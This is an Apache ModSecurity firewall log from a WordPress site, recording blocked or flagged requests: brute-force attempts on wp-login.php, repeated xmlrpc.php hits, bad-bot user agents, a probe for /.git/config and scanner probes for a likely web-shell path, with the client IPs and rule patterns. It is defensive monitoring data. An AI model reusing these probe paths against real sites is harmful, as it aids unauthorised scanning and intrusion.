[Wed Apr 29 15:52:19.468072 2026] [:error] [pid 45054:tid 45066] [client 45.119.85.39:60327] [client 45.119.85.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.119.85.39, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wordpress/wp-login.php"] [unique_id "afG4s4tL6SUL31r23c-lqgAAAoo"], referer: https://www.google.com
[Wed Apr 29 15:52:19.468147 2026] [:error] [pid 45054:tid 45066] [client 45.119.85.39:60327] [client 45.119.85.39] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 45.119.85.39 on wp-login.php, counter = 268"] [hostname "rcacivilgroup.com"] [uri "/wordpress/wp-login.php"] [unique_id "afG4s4tL6SUL31r23c-lqgAAAoo"], referer: https://www.google.com
[Wed Apr 29 16:20:57.044526 2026] [:error] [pid 61628:tid 61651] [client 202.141.235.2:61810] [client 202.141.235.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.141.235.2, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afG_afXzdLVcrP-YPZhA4AAAANI"]
[Wed Apr 29 16:21:18.636451 2026] [:error] [pid 45054:tid 45075] [client 202.141.255.94:62457] [client 202.141.255.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.141.255.94, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afG_fotL6SUL31r23c-tYwAAApM"]
[Wed Apr 29 16:21:29.775881 2026] [:error] [pid 44860:tid 44875] [client 202.141.235.2:62925] [client 202.141.235.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.141.235.2, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afG_iUQ82el2g7ESJ16McgAAAk0"]
[Wed Apr 29 16:21:41.098549 2026] [:error] [pid 45085:tid 45093] [client 202.141.255.94:63278] [client 202.141.255.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.141.255.94, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afG_ldS7eNjgd8gD6Zz77QAAAsY"]
[Wed Apr 29 16:21:51.988633 2026] [:error] [pid 45085:tid 45097] [client 202.141.255.94:63609] [client 202.141.255.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.141.255.94, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afG_n9S7eNjgd8gD6Zz7-gAAAso"]
[Wed Apr 29 16:22:03.395885 2026] [:error] [pid 45119:tid 45136] [client 202.141.255.94:63948] [client 202.141.255.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.141.255.94, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afG_q8gCO5XKzjdJ_HYQtwAAAw8"]
[Wed Apr 29 16:22:14.210739 2026] [:error] [pid 2604:tid 2617] [client 202.141.235.2:64283] [client 202.141.235.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.141.235.2, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afG_thx5WQMU1W68tTYmowAAAEs"]
[Wed Apr 29 16:22:25.533207 2026] [:error] [pid 22901:tid 22926] [client 202.141.235.2:64627] [client 202.141.235.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.141.235.2, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afG_wRvfVEXI-f42iRRTNAAAARc"]
[Wed Apr 29 16:22:36.780631 2026] [:error] [pid 44860:tid 44866] [client 202.141.255.94:64964] [client 202.141.255.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.141.255.94, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afG_zEQ82el2g7ESJ16MewAAAkQ"]
[Wed Apr 29 16:22:47.925794 2026] [:error] [pid 45085:tid 45092] [client 202.141.235.2:65299] [client 202.141.235.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.141.235.2, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afG_19S7eNjgd8gD6Zz8OgAAAsU"]
[Wed Apr 29 19:22:11.666412 2026] [:error] [pid 2604:tid 2617] [client 43.159.139.164:35216] [client 43.159.139.164] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afHp4xx5WQMU1W68tTY0ywAAAEs"]
[Wed Apr 29 20:50:28.921925 2026] [:error] [pid 21137:tid 21184] [client 162.14.109.170:36098] [client 162.14.109.170] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afH-lPw-HnaioFPIurVWrQAAAA8"]
[Wed Apr 29 23:10:04.409671 2026] [:error] [pid 21138:tid 21206] [client 43.204.131.127:44367] [client 43.204.131.127] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afIfTJuzwUiyMeUnp30IUAAAAQk"]
[Wed Apr 29 23:10:04.723041 2026] [:error] [pid 47618:tid 47627] [client 43.204.131.127:4267] [client 43.204.131.127] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afIfTHHYUSxIrhce2OA0oQAAAUY"]
[Wed Apr 29 23:10:05.358914 2026] [:error] [pid 47618:tid 47621] [client 43.204.131.127:45269] [client 43.204.131.127] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afIfTXHYUSxIrhce2OA0pAAAAUA"]
[Wed Apr 29 23:10:05.675407 2026] [:error] [pid 21536:tid 21556] [client 43.204.131.127:4772] [client 43.204.131.127] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afIfTSREaVkH9P5H_LQ20wAAAJI"]
[Wed Apr 29 23:25:21.691154 2026] [:error] [pid 21138:tid 21216] [client 170.106.152.218:60246] [client 170.106.152.218] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afIi4ZuzwUiyMeUnp30NGAAAARM"]
[Thu Apr 30 00:03:43.522128 2026] [:error] [pid 47618:tid 47630] [client 146.190.155.17:56236] [client 146.190.155.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.155.17, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afIr33HYUSxIrhce2OA8jgAAAUk"]
[Thu Apr 30 00:08:18.012152 2026] [:error] [pid 21138:tid 21206] [client 146.190.155.17:35754] [client 146.190.155.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.155.17, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afIs8puzwUiyMeUnp30YIAAAAQk"]
[Thu Apr 30 00:15:28.412317 2026] [:error] [pid 47618:tid 47638] [client 185.246.164.237:36338] [client 185.246.164.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.246.164.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afIuoHHYUSxIrhce2OA-UgAAAVE"]
[Thu Apr 30 00:17:46.942497 2026] [:error] [pid 21137:tid 21186] [client 178.33.162.49:42518] [client 178.33.162.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.33.162.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afIvKvw-HnaioFPIurWEIQAAABE"]
[Thu Apr 30 00:19:23.038669 2026] [:error] [pid 21138:tid 21221] [client 217.70.186.133:52260] [client 217.70.186.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.70.186.133, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afIvi5uzwUiyMeUnp30cUQAAARg"]
[Thu Apr 30 00:32:00.757995 2026] [:error] [pid 47618:tid 47634] [client 5.42.124.21:39732] [client 5.42.124.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.42.124.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afIygHHYUSxIrhce2OBAzQAAAU0"]
[Thu Apr 30 00:39:35.579071 2026] [:error] [pid 21138:tid 21197] [client 81.8.91.201:45424] [client 81.8.91.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.8.91.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afI0R5uzwUiyMeUnp30h4gAAAQE"]
[Thu Apr 30 00:41:50.432072 2026] [:error] [pid 21137:tid 21179] [client 66.70.178.228:36492] [client 66.70.178.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.70.178.228, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afI0zvw-HnaioFPIurWI0wAAAAo"]
[Thu Apr 30 00:48:40.961970 2026] [:error] [pid 21136:tid 21161] [client 155.133.142.66:52025] [client 155.133.142.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.142.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afI2aClIfGGQdPVv8_P7twAAAFQ"]
[Thu Apr 30 00:50:05.023030 2026] [:error] [pid 21137:tid 21173] [client 198.199.77.203:37286] [client 198.199.77.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.199.77.203, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afI2vfw-HnaioFPIurWKHgAAAAQ"]
[Thu Apr 30 00:52:51.365335 2026] [:error] [pid 21137:tid 21186] [client 103.85.84.51:36944] [client 103.85.84.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.85.84.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afI3Y_w-HnaioFPIurWKhgAAABE"]
[Thu Apr 30 01:03:34.097715 2026] [:error] [pid 21138:tid 21215] [client 54.38.195.241:56408] [client 54.38.195.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.195.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afI55puzwUiyMeUnp30oLgAAARI"]
[Thu Apr 30 01:16:44.414708 2026] [:error] [pid 21138:tid 21215] [client 146.190.155.17:36812] [client 146.190.155.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.155.17, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afI8_JuzwUiyMeUnp30r0gAAARI"]
[Thu Apr 30 01:24:28.066555 2026] [:error] [pid 21137:tid 21169] [client 77.65.214.113:36980] [client 77.65.214.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.65.214.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afI-zPw-HnaioFPIurWPcgAAAAA"]
[Thu Apr 30 01:32:59.967167 2026] [:error] [pid 21138:tid 21200] [client 52.178.68.120:52248] [client 52.178.68.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.178.68.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJAy5uzwUiyMeUnp30v-QAAAQM"]
[Thu Apr 30 01:38:10.496505 2026] [:error] [pid 21536:tid 21549] [client 15.235.163.7:42348] [client 15.235.163.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.163.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJCAiREaVkH9P5H_LRGoAAAAIs"]
[Thu Apr 30 01:42:39.939691 2026] [:error] [pid 47618:tid 47623] [client 217.182.82.42:51618] [client 217.182.82.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.82.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJDD3HYUSxIrhce2OBLRQAAAUI"]
[Thu Apr 30 01:46:11.251342 2026] [:error] [pid 47618:tid 47630] [client 107.180.252.236:44476] [client 107.180.252.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.252.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJD43HYUSxIrhce2OBLjAAAAUk"]
[Thu Apr 30 01:55:22.036342 2026] [:error] [pid 21138:tid 21207] [client 157.66.27.30:57562] [client 157.66.27.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJGCpuzwUiyMeUnp306fwAAAQo"]
[Thu Apr 30 01:56:02.438419 2026] [:error] [pid 21137:tid 21169] [client 95.173.103.120:58710] [client 95.173.103.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.173.103.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJGMvw-HnaioFPIurWaLgAAAAA"]
[Thu Apr 30 01:56:42.136644 2026] [:error] [pid 21137:tid 21180] [client 139.99.61.38:43738] [client 139.99.61.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.99.61.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJGWvw-HnaioFPIurWajAAAAAs"]
[Thu Apr 30 02:08:41.466631 2026] [:error] [pid 47618:tid 47623] [client 96.9.125.116:43380] [client 96.9.125.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 96.9.125.116, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJJKXHYUSxIrhce2OBRXAAAAUI"]
[Thu Apr 30 02:12:25.103524 2026] [:error] [pid 21536:tid 21545] [client 34.101.217.251:58038] [client 34.101.217.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.101.217.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJKCSREaVkH9P5H_LRNVwAAAIc"]
[Thu Apr 30 02:12:25.106252 2026] [:error] [pid 21536:tid 21545] [client 34.101.217.251:58038] [client 34.101.217.251] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJKCSREaVkH9P5H_LRNVwAAAIc"]
[Thu Apr 30 02:12:25.107788 2026] [:error] [pid 21536:tid 21545] [client 34.101.217.251:58038] [client 34.101.217.251] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||rcacivilgroup.com|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJKCSREaVkH9P5H_LRNVwAAAIc"]
[Thu Apr 30 02:18:19.392928 2026] [:error] [pid 21536:tid 21540] [client 146.59.70.139:51990] [client 146.59.70.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.59.70.139, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJLayREaVkH9P5H_LROfQAAAII"]
[Thu Apr 30 02:23:30.793347 2026] [:error] [pid 21137:tid 21183] [client 34.132.138.178:37626] [client 34.132.138.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "afJMovw-HnaioFPIurWf9wAAAA4"]
[Thu Apr 30 02:24:20.415939 2026] [:error] [pid 21138:tid 21214] [client 155.133.142.66:55018] [client 155.133.142.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.142.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJM1JuzwUiyMeUnp31DNQAAARE"]
[Thu Apr 30 02:27:00.058077 2026] [:error] [pid 21137:tid 21177] [client 172.161.19.100:13292] [client 172.161.19.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "afJNdPw-HnaioFPIurWhFQAAAAg"]
[Thu Apr 30 02:27:01.007183 2026] [:error] [pid 21536:tid 21543] [client 172.161.19.100:14577] [client 172.161.19.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "afJNdSREaVkH9P5H_LRPZQAAAIU"]
[Thu Apr 30 02:27:02.120011 2026] [:error] [pid 21138:tid 21216] [client 172.161.19.100:2905] [client 172.161.19.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "afJNdpuzwUiyMeUnp31EngAAARM"]
[Thu Apr 30 02:27:03.524577 2026] [:error] [pid 21227:tid 21234] [client 172.161.19.100:14231] [client 172.161.19.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "afJNd8B3c6U5AGPPsXq0pwAAAME"]
[Thu Apr 30 02:44:47.241704 2026] [:error] [pid 21138:tid 21208] [client 157.66.26.248:42884] [client 157.66.26.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.26.248, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJRn5uzwUiyMeUnp31JCwAAAQs"]
[Thu Apr 30 02:49:53.944478 2026] [:error] [pid 21227:tid 21254] [client 81.8.91.201:56392] [client 81.8.91.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.8.91.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJS0cB3c6U5AGPPsXq2ZAAAANU"]
[Thu Apr 30 02:54:26.283334 2026] [:error] [pid 21137:tid 21182] [client 141.94.139.189:38256] [client 141.94.139.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.139.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJT4vw-HnaioFPIurWmYgAAAA0"]
[Thu Apr 30 03:00:35.941263 2026] [:error] [pid 21138:tid 21204] [client 103.85.84.51:45502] [client 103.85.84.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.85.84.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJVU5uzwUiyMeUnp31L6AAAAQc"]
[Thu Apr 30 03:03:19.684371 2026] [:error] [pid 21227:tid 21251] [client 178.33.162.49:54100] [client 178.33.162.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.33.162.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJV98B3c6U5AGPPsXq3mgAAANI"]
